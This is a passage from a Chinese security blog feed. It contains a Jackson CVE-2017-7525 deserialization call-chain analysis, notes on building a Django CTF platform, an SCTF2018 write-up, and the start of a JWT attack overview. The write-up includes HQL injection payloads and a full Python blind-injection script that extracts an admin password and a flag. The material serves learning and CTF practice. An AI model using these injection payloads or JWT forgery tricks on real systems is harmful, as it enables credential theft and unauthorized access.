class="keyword">this</span>.deserializeFromString(p, ctxt);</span><br></pre></td></tr></table></figure><p>传入的类型进入不同的方法。因为URL传递的是字符串,进入deserializeFromString</p><ul><li>deserialize:150, BeanDeserializer (com.fasterxml.jackson.databind.deser)</li></ul><p>第二次进入次函数<code>if (p.isExpectedStartObjectToken()) {</code> 结果是False,p._textBuffer是xml的地址,于是进入 <code>return this._deserializeOther(p, ctxt, p.getCurrentToken());</code></p><ul><li>_deserialize:116, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)</li></ul><p><code>Object value = deser.deserialize((JsonParser)p, ctxt);</code> 对JsonParser P做了一些修饰后传入deserialize方法</p><ul><li>deserializeTypedFromAny:71, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)</li></ul><p><code>return this._deserialize(jp, ctxt);</code> 跟进</p><ul><li>deserializeWithType:553, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)</li></ul><p><code>return typeDeserializer.deserializeTypedFromAny(p, ctxt);</code> 跟进</p><ul><li>deserialize:63, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl)</li></ul><p><code>return typeDeserializer.deserializeTypedFromAny(p, ctxt);</code> 跟进</p><ul><li>_readMapAndClose:3798, ObjectMapper (com.fasterxml.jackson.databind)</li></ul><p><code>return this._deserializer.deserializeWithType(jp, ctxt, this._typeDeserializer);</code> </p><ul><li>readValue:2842, ObjectMapper (com.fasterxml.jackson.databind)</li></ul><p>做一些初始化工作</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">DeserializationConfig cfg = <span class="keyword">this</span>.getDeserializationConfig();</span><br><span class="line">DeserializationContext ctxt = <span class="keyword">this</span>.createDeserializationContext(p, cfg);</span><br><span class="line">JsonDeserializer<Object> deser = <span class="keyword">this</span>._findRootDeserializer(ctxt, valueType);</span><br></pre></td></tr></table></figure><p>进入下一层<code>result = deser.deserialize(p, ctxt);</code></p><ul><li>testSpringFramework:28, Exploit</li></ul><p>进入<code>return this._readMapAndClose(this._jsonFactory.createParser(content), this._typeFactory.constructType(valueType));</code></p><ul><li>main:17, Exploit</li></ul><p>进入<code>mapper.readValue(payload, Object.class);</code></p><p>从主线的流程可以看到Jackson在初始化阶段对传入的JSON做了一些处理后,就不断进入判断分支,不断的进入他应该进入的方法。</p>]]></content>
<summary type="html">
<p>POC:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br>
</summary>
</entry>
<entry>
<title>Syclover线下赛平台开发小记</title>
<link href="http://hebic.me/2018/09/23/Syclover%E7%BA%BF%E4%B8%8B%E8%B5%9B%E5%B9%B3%E5%8F%B0%E5%BC%80%E5%8F%91%E5%B0%8F%E8%AE%B0/"/>
<id>http://hebic.me/2018/09/23/Syclover线下赛平台开发小记/</id>
<published>2018-09-23T05:17:02.000Z</published>
<updated>2018-09-23T05:17:20.000Z</updated>
<content type="html"><![CDATA[<h2 id="起因"><a href="#起因" class="headerlink" title="起因"></a>起因</h2><p>今年SCTF的决赛举办这段时间正碰上回家于是没有参与,回学校的时候比赛马上就要开始了。临近考试周,师傅们准备考试还要出题布置环境,非常辛苦。但万万没想到比赛当天因为比赛平台的原因大家干瞪眼了一上午!到了中午比赛才打起来。于是就有了写一个自己的线下赛平台的想法。一直到了假期都没人搞,我想最近实习工作比较轻松,趁着自主学习的时候写个线下赛平台吧,于是和刘师傅一拍即合,前前后后写了接近一个月平台终于基本完工了,记录一下一些东西。</p><h2 id="架构"><a href="#架构" class="headerlink" title="架构"></a>架构</h2><p>平台使用Django编写,考虑到表比较少,连接关系并不复杂,就用了自带的Sqlite作为持久层。</p><h2 id="构思"><a href="#构思" class="headerlink" title="构思"></a>构思</h2><p>由于是两个人写平台,就想着两个人分开写不同的部分,两个部分通过接口通信,各自有各自的数据库和表,最后拼起来就完成了。最初的想法是将攻防平台分为两个部分:Web界面(包括登录、管理员后台、选手比赛界面)和分数统计服务(Flag分发、选手分数的修改)。</p><p><img src="https://i.imgur.com/hksnaZL.png" alt="最初的构想"></p><h2 id="比赛规则"><a href="#比赛规则" class="headerlink" title="比赛规则"></a>比赛规则</h2><p>比赛规则的两个特征是:</p><ol><li>比赛的总分不变(除非管理员加分),分数在各个队伍之间流动</li><li>获得Flag的方式是比赛机器curl flag机</li></ol><p>因为采用0和博弈,分数也是动态的,所以并不会提交一个flag分数就立刻增加(但是比赛界面会看到成功攻击的信息),而是发送到分数统计服务。分数统计服务不仅接受选手提交的Flag,还会接受Check机的结果、管理员后台给选手加分扣分数据,将他们统一计算,新的一轮开始时更新分数。</p><p>由于获得Flag的方法是curl flag机,因此我们做出的前提是一个比赛可以有多个web题,但是只有一个flag。在比赛规则方面想要改变这个情况需要让不同的web题目有不同的机器,但是设计之初并没有如此考虑,因此这是一个设计的缺陷。</p><h3 id="Web界面"><a href="#Web界面" class="headerlink" title="Web界面"></a>Web界面</h3><p>Django自带一个管理员工具,可以对数据库做增删改查,极大地缩短了管理员后台编写的时间。在保留默认管理员界面的基础上,增加了向刘师傅的API接口提供队伍信息和管理员直接扣除选手分数的功能。这里要解释一下这两个功能,因为比赛分数的核心部分是分数统计服务,因此与队伍相关的大多数数据保存在刘师傅的表中。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 刘师傅的队伍表</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">TeamScoreProfile</span><span class="params">(models.Model)</span>:</span></span><br><span class="line"> user = models.OneToOneField(User, on_delete=models.CASCADE)</span><br><span class="line"> numberOfTeam = models.IntegerField()</span><br><span class="line"> numberOfRounds = models.IntegerField(default=<span class="number">80</span>)</span><br><span class="line"> totalScorePerRound = models.FloatField()</span><br><span class="line"> teamName = models.CharField(max_length=<span class="number">128</span>, unique=<span class="keyword">True</span>)</span><br><span class="line"> teamToken = models.CharField(max_length=<span class="number">128</span>)</span><br><span class="line"> totalScore = models.FloatField(default=<span class="number">10000.0</span>)</span><br><span class="line"> compareWithLastRound = models.FloatField(default=<span class="number">0.0</span>)</span><br><span class="line"> webGet = models.FloatField(default=<span class="number">0</span>)</span><br><span class="line"> pwnGet = models.FloatField(default=<span class="number">0</span>)</span><br><span class="line"> checkGet = models.FloatField(default=<span class="number">0</span>)</span><br><span class="line"> webLoss = models.FloatField(default=<span class="number">0</span>)</span><br><span class="line"> pwnLoss = models.FloatField(default=<span class="number">0</span>)</span><br><span class="line"> checkLoss = models.FloatField(default=<span class="number">0</span>)</span><br><span class="line"> webip = models.TextField(default=<span class="string">"127.0.0.1"</span>)</span><br><span class="line"> pwnip = models.TextField(default=<span class="string">"127.0.0.1"</span>)</span><br><span class="line"> sumOfcheck = models.IntegerField(default=<span class="number">0</span>)</span><br><span class="line"> checkip = models.TextField(default=<span class="string">"0.0.0.0"</span>) <span class="comment">#被check题目的ip</span></span><br><span class="line"> tempScore = models.FloatField(default=<span class="number">0.0</span>)</span><br></pre></td></tr></table></figure><p>但是队伍的名称和密码都保存在Web界面所管辖的数据库中,因此需要将我创建的队伍信息发送给刘师傅,他扩展与队伍相关的信息。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 我的队伍表</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">UserProfile</span><span class="params">(models.Model)</span>:</span></span><br><span class="line"> user = models.OneToOneField(User, on_delete=models.CASCADE)</span><br><span class="line"> question = models.ManyToManyField(<span class="string">"Question"</span>)</span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">class</span> <span class="title">Meta</span>:</span></span><br><span class="line"> verbose_name = <span class="string">"队伍"</span> <span class="comment"># 给模型起一个可读的名字</span></span><br><span class="line"> verbose_name_plural = <span class="string">"队伍"</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__str__</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> self.user.username</span><br></pre></td></tr></table></figure><p>将队伍信息分成两部分写,通过API通讯,这样的好处是在沟通清楚API后只需要把API需要的数据处理好发送到指定API即可,不需要关心刘师傅如何处理这些数据,减少了很多没有必要的沟通时间。</p><h2 id="分数统计服务"><a href="#分数统计服务" class="headerlink" title="分数统计服务"></a>分数统计服务</h2><p>本以为这部分刘师傅会写的比较快,结果是比我慢了好几天才搞定,而且修改了好几次API。再写这种合作的平台时API一定要充分的考虑好,尽量不要修改。</p><h2 id="安全部署"><a href="#安全部署" class="headerlink" title="安全部署"></a>安全部署</h2><p>首先要考虑到基本的安全问题,首先排除一些复杂的漏洞,XXE,SSRF一类的,因为平台没有这样的功能,其他剩下XSS,SQL注入,CSRF。得益于Django自带对于这些漏洞的防御,按照规范编写代码并不需要考虑更多。另外根据DJango的安全部署,关闭Debug模式,开启多个和安全相关的头部。</p><p>接下来是平台安全,平台暂时没有内测,Django本身并不打算搭建在其他的Web容器中,而是独立运行。选手的登录密码会做的比较长,复杂性也会比较高。</p><p>最后,考虑到选手在内网中做嗅探的可能,有两种解决方法,比赛环境的路由映射或者比赛平台HTTPS。最后选择了HTTPS。内网的HTTPS是可以做自签名证书的,但需要选手添加信任,不太优雅,于是在Let’s encrypt申请了免费的SSL证书。Let’s encrype申请指向内网的ip需要一个域名,并且通过dns认证(修改TXT为一个指定值来确保你是域名所有者)。</p><h2 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h2><p>由于是尚未内测的初代版本,后期打算长期更新迭代,重构也是有可能的。现在心得并不多,如果后面发生一些比较糟心的事情,处理完再来补充:D</p>]]></content>
<summary type="html">
<h2 id="起因"><a href="#起因" class="headerlink" title="起因"></a>起因</h2><p>今年SCTF的决赛举办这段时间正碰上回家于是没有参与,回学校的时候比赛马上就要开始了。临近考试周,师傅们准备考试还要出题布置环境,非常辛苦。
</summary>
</entry>
<entry>
<title>CVE-2017-7525 jackson rce主线流程分析</title>
<link href="http://hebic.me/2018/09/20/CVE-2017-7525-jackson-rce%E4%B8%BB%E7%BA%BF%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/"/>
<id>http://hebic.me/2018/09/20/CVE-2017-7525-jackson-rce主线流程分析/</id>
<published>2018-09-20T09:57:40.000Z</published>
<updated>2018-09-20T10:16:06.000Z</updated>
<content type="html"><![CDATA[<p>环境:</p><ul><li>jdk1.7</li><li>jackson-databind 2.8.8</li></ul><p>成功弹出计算器</p><p>this._getter为:public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()<br>instance的_name=a.b,_bytecodes是传入的字符串</p><ul><li>deserializeAndSet:116, SetterlessProperty (com.fasterxml.jackson.databind.deser.impl)</li></ul><p><code>toModify = this._getter.invoke(instance);</code></p><p>此时传入的JSON会在vanillaDeserialize方法中遍历,遍历到outputProperties进入</p><ul><li>deserializeAndSet:106, MethodProperty (com.fasterxml.jackson.databind.deser.impl)</li></ul><p>调用方法:<code>this._setter.invoke(instance, value);</code><br>此时this.setter为<code>private synchronized void com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.setTransletBytecodes(byte[][])</code></p><ul><li>vanillaDeserialize:276, BeanDeserializer (com.fasterxml.jackson.databind.deser)</li></ul><p>和之前同样的操作,进入<code>prop.deserializeAndSet(p, ctxt, bean);</code></p><ul><li>deserialize:140, BeanDeserializer (com.fasterxml.jackson.databind.deser)</li></ul><p><code>return this.vanillaDeserialize(p, ctxt, p.nextToken());</code> 判断是否是jsonstart的token后进入vanillaDeserialize,进入第二层的JSON解析</p><ul><li>_deserialize:116, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)</li></ul><p>进行了一些不是很懂的操作之后,调用<code>Object value = deser.deserialize((JsonParser)p, ctxt);</code>方法,该方法是基于bean的对象(POJO)的主要反序列化方法。</p><ul><li>deserializeTypedFromAny:71, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)</li></ul><p><code>return this._deserialize(jp, ctxt);</code> 传递给_deserialize方法,_deserialize解释:处理类型信息包装器的方法,找到要使用的实际子类型反序列化器,并调用它来进行实际的反序列化。</p><ul><li>deserializeWithType:553, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)</li></ul><p><code>return typeDeserializer.deserializeTypedFromAny(p, ctxt);</code>传递给deserializeTypedFromAny方法</p><ul><li>deserialize:502, SettableBeanProperty (com.fasterxml.jackson.databind.deser)</li></ul><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">final</span> Object <span class="title">deserialize</span><span class="params">(JsonParser p, DeserializationContext ctxt)</span> <span class="keyword">throws</span> IOException </span>{</span><br><span class="line"> JsonToken t = p.getCurrentToken();</span><br><span class="line"> <span class="keyword">if</span> (t == JsonToken.VALUE_NULL) {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>._valueDeserializer.getNullValue(ctxt);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>._valueTypeDeserializer != <span class="keyword">null</span> ? <span class="keyword">this</span>._valueDeserializer.deserializeWithType(p, ctxt, <span class="keyword">this</span>._valueTypeDeserializer) : <span class="keyword">this</span>._valueDeserializer.deserialize(p, ctxt);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>判断token,然后传递给deserializeWithType方法</p><ul><li>deserializeAndSet:111, FieldProperty (com.fasterxml.jackson.databind.deser.impl)</li></ul><p><code>Object value = this.deserialize(p, ctxt);</code></p><ul><li>vanillaDeserialize:276, BeanDeserializer (com.fasterxml.jackson.databind.deser)</li></ul><p><code>Object bean = this._valueInstantiator.createUsingDefault(ctxt);p.setCurrentValue(bean);</code>设置当前的bean<br>此时:p-JsonParser,用于读取api的基类。ctxt-DeserializationContext,扩展版p</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">do</span> {</span><br><span class="line"> p.nextToken();</span><br><span class="line"> SettableBeanProperty prop = <span class="keyword">this</span>._beanProperties.find(propName);</span><br><span class="line"> <span class="keyword">if</span> (prop != <span class="keyword">null</span>) {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> prop.deserializeAndSet(p, ctxt, bean);</span><br><span class="line"> } <span class="keyword">catch</span> (Exception var8) {</span><br><span class="line"> <span class="keyword">this</span>.wrapAndThrow(var8, bean, propName, ctxt);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">this</span>.handleUnknownVanilla(p, ctxt, bean, propName);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">while</span>((propName = p.nextFieldName()) != <span class="keyword">null</span>);</span><br></pre></td></tr></table></figure><p>遍历JSON的核心部分。<br><code>SettableBeanProperty prop = this._beanProperties.find(propName);</code> 将属性名映射到属性中<br><code>if (prop != null) {</code> prop是包含反序列化属性的基类<br><code>prop.deserializeAndSet(p, ctxt, bean);</code> 使用合适的方法设置,调用合适的方法,给解析器。</p><ul><li>deserialize:140, BeanDeserializer (com.fasterxml.jackson.databind.deser)</li></ul><p><code>if (p.isExpectedStartObjectToken()) {</code></p><p><code>if (this._vanillaProcessing) {</code>判断是否开始标记/是否是未启用特殊功能的JSON</p><p>进入<code>return this.vanillaDeserialize(p, ctxt, p.nextToken()</code></p><ul><li>_readMapAndClose:3798, ObjectMapper (com.fasterxml.jackson.databind)</li></ul><p><code>if (t == JsonToken.VALUE_NULL) {</code> 首先判断是否进入JSON结尾,首次进入函数t为START_OBJECT<br>进入<code>} else if (t != JsonToken.END_ARRAY && t != JsonToken.END_OBJECT) {</code>分支<br><code>DeserializationConfig cfg = this.getDeserializationConfig();</code>得到反序列化的配置设置<br><code>DeserializationContext ctxt = this.createDeserializationContext(p, cfg);</code>的作用:创建DeserializationContext实例来反序列化单个root value<br>p创建为ctxt的过程中为ObjectMapper添加扩展API进行调用,以及实现基类留下的某些抽象部分。<br>进</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">`} <span class="keyword">else</span> {</span><br><span class="line"></span><br><span class="line">result = deser.deserialize(p, ctxt);</span><br></pre></td></tr></table></figure><p>开始反序列化</p><ul><li>readValue:2842, ObjectMapper (com.fasterxml.jackson.databind)</li></ul><p>json字符串经过_jsonFactory.createParser处理,目标类经过_typeFactory.constructType处理,进入_readMapAndClose函数<br>这个方法将传入的String和目标类转换为基本的解析器基类用于后面的数据处理。</p><ul><li>main:54, Exploit</li></ul><p>传入json字符串和反序列化目标类</p><hr><p>到最后一步弹出计算机的.invoke()不太明白,留个坑在这里</p><p>下期:CVE-2017-17485主线分析</p>]]></content>
<summary type="html">
<p>环境:</p>
<ul>
<li>jdk1.7</li>
<li>jackson-databind 2.8.8</li>
</ul>
<p>成功弹出计算器</p>
<p>this._getter为:public synchronized java.util.Properti
</summary>
</entry>
<entry>
<title>SCTF2018-Zhuanxv Writeup</title>
<link href="http://hebic.me/2018/06/20/SCTF2018-Zhuanxv-Writeup/"/>
<id>http://hebic.me/2018/06/20/SCTF2018-Zhuanxv-Writeup/</id>
<published>2018-06-20T13:55:39.000Z</published>
<updated>2018-06-20T14:08:28.000Z</updated>
<content type="html"><![CDATA[<p>题目描述的场景是扫到了一个web应用。新手开发者把说明放到了github上,在github发现的后台中发现了一个任意文件下载和hql注入点。他想把整个库脱下来(得到库中flag),这就利用到了java web的知识。题目是SSH框架编写,hibernate支持HQL语句,对于新手有这样几个盲点:</p><ol><li>任意文件下载该下载什么:下载xml文件和java编译后的class文件</li><li>HQL语句和过滤语句放在哪里:github的commit的删除doc中提到<code>实现类存放在接口同级impl目录下,命名规则\<interfaceName\>Impl.java</code> 这里的\\<是markdown语句,所以并不是文件夹分隔符。</li><li>hql查询对象不是表名是实体名</li><li>hql查询限制很大</li></ol><h2 id="第一步:信息收集"><a href="#第一步:信息收集" class="headerlink" title="第一步:信息收集"></a>第一步:信息收集</h2><p>信息收集,发现github上遗留的说明。<a href="https://github.com/Lazyboxx/zhuanxvapplication" target="_blank" rel="noopener">https://github.com/Lazyboxx/zhuanxvapplication</a> 根据提供的url进入登录地址,发现用户名密码已经无法登陆</p><h2 id="第二步:下载源码"><a href="#第二步:下载源码" class="headerlink" title="第二步:下载源码"></a>第二步:下载源码</h2><p>查看网页源代码,发现背景图片的加载方式使用<code>./loadimage?fileName=web_login_bg.jpg</code> ,找到任意文件下载点,下载一系列文件。这里限制了下载文件的后缀只有class xml jpg css等。</p><h2 id="第三步:代码审计"><a href="#第三步:代码审计" class="headerlink" title="第三步:代码审计"></a>第三步:代码审计</h2><p>根据github的commit记录 <a href="https://github.com/Lazyboxx/zhuanxvapplication/commit/3f34f9b15cf2be3a03ed5f19d9d71cf6427b0111" target="_blank" rel="noopener">https://github.com/Lazyboxx/zhuanxvapplication/commit/3f34f9b15cf2be3a03ed5f19d9d71cf6427b0111</a> 了解实现类的位置。</p><p>从user.hbm.xml得知表名和类名映射</p><p>从com/cuitctf/service/impl/UserServiceImpl.class得知过滤规则,用户名只过滤空格和等号,密码限制只能字母+数字</p><p>从com/cuitctf/dao/impl/UserDaoImpl.class得知hql语句,变量拼接导致hql注入</p><h2 id="第四步:HQL注入"><a href="#第四步:HQL注入" class="headerlink" title="第四步:HQL注入"></a>第四步:HQL注入</h2><p>HQL需要两步,第一步注入得到管理员密码,第二步根据密码盲注得到flag</p><h3 id="注入第一步:"><a href="#注入第一步:" class="headerlink" title="注入第一步:"></a>注入第一步:</h3><p>用户名:<code>aaa'%0aor%0a(select%0asubstring(password,1,1)%0afrom%0aUser%0awhere%0aname%0alike%0a'homamamama')%0alike%0a'a'%0aor%0a''like'</code></p><p>密码:随意</p><p>盲注得到homamamama的密码:6yhn7ujm</p><h3 id="注入第二步:"><a href="#注入第二步:" class="headerlink" title="注入第二步:"></a>注入第二步:</h3><p>用户名:<code>aa'%0aor%0a(select%0asubstring(welcometoourctf,1,1)%0afrom%0aFlag)%0alike%0a'a'%0aand%0a''like'</code></p><p>密码:6yhn7ujm</p><p>得到flag:sctf{C46E250926A2DFFD831975396222B08E}</p><p>备注:需要注意的是过滤了等号,可以用like绕过,需要考虑%和_的全匹配性质,答案中没有这两个符号,写脚本的时候注意避开这两个字符的猜测。</p><p>exp:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url = <span class="string">"http://ip/zhuanxvlogin"</span></span><br><span class="line"><span class="comment"># url = "http://localhost:9090/zhuanxvlogin"</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">first</span><span class="params">()</span>:</span></span><br><span class="line">admin_password = <span class="string">""</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1</span>,<span class="number">9</span>):</span><br><span class="line"><span class="keyword">for</span> n <span class="keyword">in</span> range(<span class="number">30</span>,<span class="number">140</span>):</span><br><span class="line">guess = chr(n)</span><br><span class="line"><span class="keyword">if</span> guess == <span class="string">"_"</span> <span class="keyword">or</span> guess == <span class="string">"%"</span>:</span><br><span class="line"><span class="keyword">continue</span></span><br><span class="line">username = <span class="string">"aaa'\nor\n(select\nsubstring(password,"</span>+str(i)+<span class="string">",1)\nfrom\nUser\nwhere\nname\nlike\n'homamamama')\nlike\n'"</span>+guess+<span class="string">"'\nor\n''like'"</span></span><br><span class="line">data = {<span class="string">"user.name"</span>: username, <span class="string">"user.password"</span>: <span class="string">"a"</span>}</span><br><span class="line">req = requests.post(url, data=data, timeout=<span class="number">1000</span>).text</span><br><span class="line"><span class="keyword">if</span> len(req)><span class="number">5000</span>:</span><br><span class="line">admin_password = admin_password + guess</span><br><span class="line"><span class="keyword">print</span> <span class="string">"admin password: "</span>+ admin_password</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line"><span class="keyword">return</span> admin_password</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">second</span><span class="params">(admin_password)</span>:</span></span><br><span class="line">flag = <span class="string">""</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1</span>,<span class="number">50</span>):</span><br><span class="line"><span class="keyword">for</span> n <span class="keyword">in</span> range(<span class="number">30</span>,<span class="number">140</span>):</span><br><span class="line">guess = chr(n)</span><br><span class="line"><span class="keyword">if</span> guess == <span class="string">"_"</span> <span class="keyword">or</span> guess == <span class="string">"%"</span>:</span><br><span class="line"><span class="keyword">continue</span></span><br><span class="line">username = <span class="string">"aa'\nor\n(select\nsubstring(welcometoourctf,"</span>+str(i)+<span class="string">",1)\nfrom\nFlag)\nlike\n'"</span>+guess+<span class="string">"'\nand\n''like'"</span></span><br><span class="line">data = {<span class="string">"user.name"</span>: username, <span class="string">"user.password"</span>: admin_password}</span><br><span class="line">req = requests.post(url, data=data, timeout=<span class="number">1000</span>).text</span><br><span class="line"><span class="keyword">if</span> len(req)><span class="number">5000</span>:</span><br><span class="line">flag = flag + guess</span><br><span class="line"><span class="keyword">print</span> <span class="string">"flag:"</span> + flag</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">admin_password = first()</span><br><span class="line">second(admin_password)</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p>题目描述的场景是扫到了一个web应用。新手开发者把说明放到了github上,在github发现的后台中发现了一个任意文件下载和hql注入点。他想把整个库脱下来(得到库中flag),这就利用到了java web的知识。题目是SSH框架编写,hibernate支持HQL语句,对
</summary>
</entry>
<entry>
<title>JWT安全问题</title>
<link href="http://hebic.me/2018/06/13/JWT%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/"/>
<id>http://hebic.me/2018/06/13/JWT安全问题/</id>
<published>2018-06-13T04:43:48.000Z</published>
<updated>2018-06-13T04:52:00.000Z</updated>
<content type="html"><![CDATA[<p>JWT,Json Web Token是一个基于Token的身份认证协议,可以在某些情况取代Session认证。他的优点是服务器不储存任何的会话信息,只依靠客户端发送的JWT认证。</p><p>JWT分为三个部分:</p><p>Header+Payload+Signature</p><p>Header:</p><p><code>{alg:"RS256"}</code></p><p>Payload:</p><p><code>{"jti":"1","iat":1528630988,"sub":"测试用户1","exp":1528631588}</code></p><p>Signature:</p><p><code>乱码</code></p><p>这个乱码是</p><p><code>HMACSHA256( base64Encode(header) + "." + base64Encode(payload), secret)</code></p><p>签发流程:</p><p>服务器生成payload和header,根据加密算法(RS256或其他)和一串secret对header和payload加密作为客户端的Cookie。</p><p>认证流程:</p><p>客户端每次访问都带着Cookie,服务器收到Cookie后使用对应的公钥或秘钥再次加密header和payload与发送来的cookie对比,相同则通过。</p><p>攻击面:</p><ol><li>修改算法攻击:加密方法是RS256,此时获得了公钥(加密秘钥)无法获得解密秘钥,可以修改RS256为HS256,让浏览器强行用公钥解密。</li><li>秘钥可控:通过一些方法可以获得任意用户的秘钥,就可以通过秘钥伪造jwt登陆任意用户了。</li><li>秘钥爆破:在HS签名算法时,只有一个秘钥,秘钥是否比较强就很重要了。</li><li>空秘钥攻击:JWT RFC允许空秘钥。得到一个token,base64decode他,把头部的签名方法改成None或者none提交</li></ol><p>防御方法:</p><ol><li>使用复杂的keys和secrets</li><li>更新正在使用的JWT库,确保没有CVE(2018-0114,Go-Jose version<=1.0.5)</li><li>检查过期时间</li><li>加强算法</li></ol><p>利用java的jsontokenweb实现jwt</p><p>创建jwt:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="title">StringcreateJWT</span><span class="params">(String id, String subject, <span class="keyword">long</span> ttlMillis)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 加密算法</span></span><br><span class="line"></span><br><span class="line">SignatureAlgorithmsignatureAlgorithm = SignatureAlgorithm.HS256;</span><br><span class="line"></span><br><span class="line">longnowMillis = System.currentTimeMillis();</span><br><span class="line"></span><br><span class="line">Datenow = <span class="keyword">new</span> Date(nowMillis);</span><br><span class="line"></span><br><span class="line">SecretKeykey = generalKey();</span><br><span class="line"></span><br><span class="line">JwtBuilderbuilder = Jwts.builder()</span><br><span class="line"></span><br><span class="line">.setId(id)</span><br><span class="line"></span><br><span class="line">.setIssuedAt(now)</span><br><span class="line"></span><br><span class="line">.setSubject(subject)</span><br><span class="line"></span><br><span class="line"> .signWith(signatureAlgorithm, key);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(ttlMillis >= <span class="number">0</span>) {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">long</span> expMillis = nowMillis + 